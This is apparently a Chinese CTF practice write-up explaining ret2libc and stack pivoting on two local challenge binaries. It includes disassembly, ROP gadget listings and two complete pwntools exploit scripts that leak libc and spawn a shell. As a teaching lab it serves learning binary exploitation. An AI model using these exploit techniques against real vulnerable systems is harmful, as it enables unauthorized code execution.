RET2libc

一般情况下,一个程序不会有system(“bin/sh”)这种危险代码让我们直接getshell。

ret2libc是一种方法,让我们取得外部动态链接库(so)的基地址,并通过基地址加偏移的方式获得目标库函数的地址,从而在程序没有主动调用目标函数时修改ret地址返回到我们想要的库函数地址。

练习题:

打开先checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

有部分RELRO和NX保护

vuln函数中

1
2
3
4
5
6
7
__int64 vuln()
{
char v1[112]; // [rsp+0h] [rbp-70h] BYREF

puts("RET2LIBC >_<");
return gets(v1);
}

进行了一次输出,一次输入,输入长度为112,很明显可以覆盖地址

程序没有bin/sh字符串和system地址,所以只能自己泄漏出来

got表会先按执行顺序生成地址,所以先进入main后一定会先生成__libc_start_main函数。通过这个得到libc基地址然后加对应偏移得到system和bin/sh地址,最后构造rop链去执行函数

顺序:

vuln–>puts–>system

现在还有一个问题,我们控制的地址只是栈,但是puts函数的传参却在寄存器里面,该如何把栈中的值放到寄存器里呢,很明显,pop指令

可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:00000000004011E8     ; __unwind {
.text:00000000004011E8 000 endbr64
.text:00000000004011EC 000 push rbp
.text:00000000004011ED 008 mov rbp, rsp
.text:00000000004011F0 008 sub rsp, 70h
.text:00000000004011F4 078 lea rax, s ; "RET2LIBC >_<"
.text:00000000004011FB 078 mov rdi, rax ; s
.text:00000000004011FE 078 call _puts
.text:0000000000401203 078 lea rax, [rbp+var_70]
.text:0000000000401207 078 mov rdi, rax
.text:000000000040120A 078 mov eax, 0
.text:000000000040120F 078 call _gets
.text:0000000000401214 078 nop
.text:0000000000401215 078 leave
.text:0000000000401216 000 retn
.text:0000000000401216 ; } // starts at 4011E8
.text:0000000000401216 vuln endp

这里传给puts的值是rdi

1
2
3
4
5
6
7
8
ROPgadget --binary ret2libc --only 'pop|ret'
Gadgets information
============================================================
0x000000000040115d : pop rbp ; ret
0x00000000004011e3 : pop rdi ; ret
0x000000000040101a : ret

Unique gadgets found: 3

用gadget看看,发现0x00000000004011e3 : pop rdi ; ret
如果先返回这个地址,就可以把写入栈的泄露地址给rdi,然后执行后面的操作

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import LibcSearcher
e = ELF("./ret2libc")
libc_start_main_got = e.got['__libc_start_main']

p = process('./ret2libc')
p.recvuntil(b'RET2LIBC >_<')
payload1 = 0x78*b'a'+p64(0x00000000004011e3)+p64(libc_start_main_got)+p64(0x401060)+p64(0x401090)
# gdb.attach(p)

p.sendline(payload1)
p.recvuntil(b'\n')
libc_main_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(libc_main_addr))
libc = LibcSearcher('__libc_start_main',libc_main_addr)
libcbase = libc_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
puts_addr = libcbase + libc.dump('puts')
binsh_addr = libcbase + libc.dump('str_bin_sh')

payload2 = 0x78*b'a' +p64(0x000000000040101a)+p64(0x00000000004011e3)+p64(binsh_addr)+p64(system_addr)
p.recvuntil(b'RET2LIBC >_<')
p.sendline(payload2)

p.interactive()

栈迁移

打开task题目

1
2
3
4
5
6
7
ssize_t vuln()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF

puts("Do you know Stack_Pivoting?");
return read(0, buf, 0x50uLL);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:0000000000401221     main            proc near               ; DATA XREF: _start+18↑o
.text:0000000000401221 ; __unwind {
.text:0000000000401221 000 endbr64
.text:0000000000401225 000 push rbp
.text:0000000000401226 008 mov rbp, rsp
.text:0000000000401229 008 mov eax, 0
.text:000000000040122E 008 call init
.text:0000000000401233 008 mov eax, 0
.text:0000000000401238 008 call vuln
.text:000000000040123D 008 mov eax, 0
.text:0000000000401242 008 pop rbp
.text:0000000000401243 000 retn
.text:0000000000401243 ; } // starts at 401221
.text:0000000000401243 main endp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:00000000004011DB     ; void gadget()
.text:00000000004011DB public gadget
.text:00000000004011DB gadget proc near
.text:00000000004011DB ; __unwind {
.text:00000000004011DB 000 endbr64
.text:00000000004011DF 000 push rbp
.text:00000000004011E0 008 mov rbp, rsp
.text:00000000004011E3 008 pop rdi
.text:00000000004011E4 000 retn
.text:00000000004011E4 gadget endp
.text:00000000004011E4
.text:00000000004011E4 ; ---------------------------------------------------------------------------
.text:00000000004011E5 align 2
.text:00000000004011E6 pop rbp
.text:00000000004011E7 retn
.text:00000000004011E7 ; } // starts at 4011DB

依然没有bin/sh和system,所以依然需要ret2libc

但是观察read函数可以发现,可以写入0x50,数组长度0x40,所以只能写入2个地址去覆盖,这里很明显是不够的,
然后看看有没有可能修改0x50这个数,发现没有

1
2
3
4
5
6
ROPgadget --binary stack_pivoting --only 'pop|ret'
Gadgets information
============================================================
0x000000000040115d : pop rbp ; ret
0x00000000004011e3 : pop rdi ; ret
0x000000000040101a : ret

如果按上一个题(ret2libc)两次分别需要写入:

pop_rdi+libc地址+puts地址+start地址
pop_rdi+bin/sh地址+system地址

对于16字节,还是不够的,所以不妨换个思路,如果写入的内容区域不能改变,那要是可以改变rsp指针也可以,如果算上所有的空间,有0x50个,这样就够了,只要想办法把rsp放到这个空间开头就好了

能修改rsp的指令是leave
效果是:mov rsp,rbp;pop rbp

但是这个指令只能使得rsp指向rbp指向的地址,因此,在栈迁移中,rbp就类似一个引子,通过修改rbp的值间接修改rsp的值。每次leave之后,都会pop rbp,一定注意这里pop出的地址就是rsp下次的地址。对于这个题,每次可写的区域是rbp之上的内容(rbp-0x40)和rbp下次的地址和ret地址

image-20250103235741084

如果这样写入,会直接跳过rop链(因为read之后直接leave了)然后rsp就到下面了,这样无法实现执行的效果,但是每次read之后必然是ret,所以这时需要一个方法把rsp放到上面去

image-20250103235925955

刚刚说了,rbp是rsp的因子,想要修改rsp必须先修改rbp,然后再leave,因此可以通过先把rbp放到链首然后再leave的方式修改rsp的值

image-20250104002905805

执行leave_ret之后

image-20250104003447718

leave_ret还有一个ret,可以直接触发rop链

那么,流程是这样的:

栈迁移+触发第一次的rop链+栈迁移+触发第二次rop

注意:在system函数中rsp值会减0x338,要留够空间,实际给了0x800。read函数读取值时参数在栈上,不能被覆盖,所以第一次给值后需要把下次的rbp放到更后面的位置(值更大)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
from LibcSearcher import LibcSearcher
name = "./stack_pivoting"

new_rbp = 0x4040A0+0x800 #分配足够大的空间
e = ELF(name)
pPop_rdi = p64(0x4011E3)
pStart = p64(e.symbols['_start'])
pRet = p64(0x4011E4)
pLeave_ret = p64(0x40121F)
pDataBef = p64(new_rbp-0x40)
pData = p64(new_rbp)
pDataNext = p64(new_rbp+0x40)
pReadbuf = p64(0x401203)
pPuts = p64(0x401064)
libc_start_main_got = e.got['__libc_start_main']

p = process(name)
p.recvuntil(b'Do you know Stack_Pivoting?')


#当rbp修改后,使用
def sendRop1(p,rop):
if len(rop)!=0x38:#最前面留rbp返回到开始的那个地址
print("len_not_right")
exit()
rop = pDataNext + rop + pDataBef + pLeave_ret
p.send(rop)

def sendRop2(p,rop):
if len(rop)!=0x38:#最前面留rbp返回到开始的那个地址
print("len_not_right")
exit()
rop = pDataNext + rop + pData + pLeave_ret
p.send(rop)

# gdb.attach(p)

payload1 = cyclic(0x40)+pData+pReadbuf
p.send(payload1) #修改rbp

payload2 = pPop_rdi+p64(libc_start_main_got)+pPuts+pRet+pReadbuf+cyclic(0x10)

sendRop1(p,payload2)

p.recvuntil(b'\n')
libc_main_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(libc_main_addr))
libc = LibcSearcher('__libc_start_main',libc_main_addr)
libcbase = libc_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
puts_addr = libcbase + libc.dump('puts')
binsh_addr = libcbase + libc.dump('str_bin_sh')

payload3 = pPop_rdi + p64(binsh_addr) +pRet+p64(system_addr)+cyclic(0x18)


sendRop2(p,payload3)

p.interactive()